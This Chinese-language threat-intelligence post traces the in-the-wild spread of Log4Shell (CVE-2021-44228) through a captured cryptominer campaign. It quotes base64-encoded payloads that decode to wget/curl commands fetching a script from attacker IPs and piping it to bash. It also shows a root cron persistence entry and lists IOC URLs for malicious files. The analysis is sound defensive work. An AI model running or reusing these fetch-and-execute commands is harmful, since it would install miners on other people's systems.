从一例挖矿木马看 Log4Shell 的在野传播

简介

关于该漏洞的细节信息已经刷屏，就不再赘述，想了解细节的读者可以查看各厂商的分析文章。简单来说 Apache Log4j 2.0 到 2.14.1 版本被发现存在漏洞（CVE-2021-44228），其典型攻击链如下所示：

该漏洞被称为 Log4Shell，业界有人认为该漏洞是 2014 年发现的 ShellShock（CVE-2014-6271）破壳漏洞后的又一“重磅炸弹”。因为二者都拥有巨大的攻击面，影响范围在确认后可能还会持续扩大。

Log4j 攻击面列表

https://github.com/YfryTchsGD/Log4jAttackSurface

时间线

在分析在野传播前，先简单捋一下时间线，时间线上的关键节点如下所示：

• 2021 年 12 月 5 日，Apache 在 JIRA 上公开了该漏洞。

JIRA 披露页面

https://issues.apache.org/jira/browse/LOG4J2-3201

• 2021 年 12 月 6 日，Apache 发布补丁并提供了更多漏洞相关信息。
• 
  
• 2021 年 12 月 9 日，该漏洞的 PoC 被公开发布。根据 Fastly 的监测，仅仅在 82 分钟后就出现了验证尝试。

只不过起初，很多人没有搞清楚如何利用该漏洞，进行的都是错误的尝试。而在 18 个小时后，攻击者改进了攻击方式，使得能够正确使用的攻击快速上升。

• 2021 年 12 月 10 日，相关扫描和漏洞利用快速攀升。根据 GreyNoise 的监测，仅当日 12 时至 14 时与 Log4Shell 相关的事件就增长了 5 倍。

目前来看，Imperva 已经发现了 140+ 万次的攻击行为，且攻击变种越来越多。根据 Imperva 的数据按国家/地区来看，美国、德国遭受攻击较多：

而根据 CloudFlare 的数据按国家/地区来看，加拿大和美国发起的攻击较多：

根据 GreyNoise 的监测，全球有几百个 IP 在利用该漏洞进行扫描和探测：

其中，像 BinaryEdge 这样的网空搜索引擎也在积极探测该漏洞的影响范围：

• 2021 年 12 月 10 日，德国 CERT、奥地利 CERT、新西兰 CERT、中国国家互联网应急中心（CNCERT） 等主管部门都陆续发布相关安全公告，并且表示在野攻击已经大量出现。

同日，美国国家安全局（NSA）网络安全主管 Rob Joyce 在 Twitter 上表示，NSA 发布的二进制分析工具 GHIDRA 也受到波及。

• 2021 年 12 月 11 日，根据微软威胁情报中心（MSTIC）和 360 网络安全研究院（360 Netlab）、深信服千里目安全实验室等厂商的分析与监测，在最初的扫描和尝试后，部分先行的攻击者已经将该漏洞纳入武器库中，正式开始整合利用，如用于组建僵尸网络等。

实例

以我们捕获到的部分攻击为例，来看该漏洞的在野传播。捕获到的部分 Payload 如下所示：

KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==KHdnZXQgLU8gLSBodHRwOi8vMTAzLjEwNC43My4xNTU6ODA4MC9hY2N8fGN1cmwgLW8gLSBodHRwOi8vMTAzLjEwNC43My4xNTU6ODA4MC9hY2MpfC9iaW4vYmFzaCA=KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==

经过 base64 解码后如下所示：

(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash(wget -O - http://103.104.73.155:8080/acc||curl -o - http://103.104.73.155:8080/acc)|/bin/bash(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash

acc 为一个 Shell 脚本，如下所示：

看编程风格 echo zhaodao 可能为中文书写习惯的攻击者。脚本拉取执行后续恶意样本：

http://103.104.73.155:8080/indexhttp://103.104.73.155:8080/indexhttp://103.104.73.155:8080/indexhttp://103.104.73.155:8080/index

index 为一个使用 UPX 加壳、Go 编写的 64 位 ELF 恶意样本。由于样本分析并非本文的重点，故而只带过要点。

➜ file index_unpackindex_unpack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=Xrf-x5Mxe8ZzaZosLVjp/-x_U-ss3PrhBAwIxIS3e/-SaKJU7WRDaApgDlKRyd/v5xrGGX4SX_4tCAf0ZWs, stripped

该样本在 VT 上的检出率为 28/60，很多引擎非常明确的标出该样本与挖矿（Coinminer）有关。

脱壳后的样本检出率为 4/59，猜测壳可能是引擎判定的一个重要特征：

和引擎的判定一致，该样本确实是 XMRig 的挖矿程序，这一点从函数名也能看出来：

以及 Intezer 的分析结果也可以佐证这一点：

样本写入定时任务进行持久化，同时使用 base64 编码内容（Ki8yICogKiAqICogcm9vdCAvZXRjLy5weXRob24zLjhtLnNoPi9kZXYvbnVsbCAyPiYx）对抗分析，解码后为 */2 * * * * root /etc/.python3.8m.sh>/dev/null。

/etc/cron.d/root/var/spool/cron/root/var/spool/cron/crontabs/root

遍历查看进程和文件系统的指定目录：

样本使用了如 gopsutil、go_sysconf、numcpus 等一系列第三方库来获取失陷主机的相关信息，如下所示：

特别的，样本使用到了用户 zh-five 的 xdaemon_background，而该项目的描述文件绝大部分为中文内容，攻击者确实较大可能性很熟悉中文书写习惯。

其余不加赘述，感兴趣的可以自己下载样本分析来看。

总结

现如今，攻击者利用漏洞的速度越来越快，留给修复和响应的时间越来越少。本次的 Log4Shell 就非常典型，披露后很短的时间就为全世界带来了巨大的冲击。本文选取了一个挖矿木马来展示攻击者对利用该漏洞的积极性，同时又尽量选取了和已经公开披露的在野利用不同的恶意样本来体现很多攻击者都蠢蠢欲动。

该漏洞的影响范围极大，大家都在紧锣密鼓地进行漏洞缓解和防护加固，首先为这些加班加点的从业人员点个赞。各个厂商也逐渐开始披露出现的在野利用，利用该漏洞的攻击在短期内应该不会减少，并且各种变体可能会层出不穷。

建议对暴露的攻击面进行一次底数摸排，以便更好地评估自己可能受到的威胁和影响，尽快进行处理。对每个组织来说，实施缓解措施和防护手段是当务之急，其次在接下来的一段时间内会有许多受到影响的服务、组件等基础设施都要面临补丁升级。

受到该漏洞的冲击，软件物料清单（Software Bill of Materials，SBOM）的概念再度被提起。例如，开源工具 Syft 与 Grype 相配合可以实现检测，如下所示：

Syft

https://github.com/anchore/syft

Grype

https://github.com/anchore/grype

其实，我们都知道建立组织内使用软件的完整台帐可能是异常困难的，甚至是不可能完成的任务。但也许从今天开始努力，在面临下一次冲击的时候就可以更从容的应对。

IOC

720a3a92e72054dc8d58e229c22bb892 index8c1e79369630535b85a9d3208cc47374 index（脱壳后）http://185.250.148.157:8005/acchttp://103.104.73.155:8080/indexhttp://185.250.148.157:8180/ExecTemplateJDK7.classhttp://185.250.148.157:8180/ExecTemplateJDK8.class

共享的 Payload 清单

在 GitHub 上有人整理了部分相关 IP 地址和 Payload，感兴趣的可以进一步研究或者在自己的数据源上进行关联捕获。当然这些表现出攻击行为的 IP 也被某些人用于进行封堵防御，读者可以自行斟酌。

https://gist.github.com/superducktoes/9b742f7b44c71b4a0d19790228ce85d8https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890https://gist.github.com/ycamper/26e021a2b5974049d113738d51e7641dhttps://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217

参考链接

https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4jhttps://www.greynoise.io/blog/apache-log4j-vulnerability-CVE-2021-44228https://www.imperva.com/blog/how-were-protecting-customers-staying-ahead-of-cve-2021-44228/https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/https://www.infoworld.com/article/3644492/how-to-detect-the-log4j-vulnerability-in-your-applications.html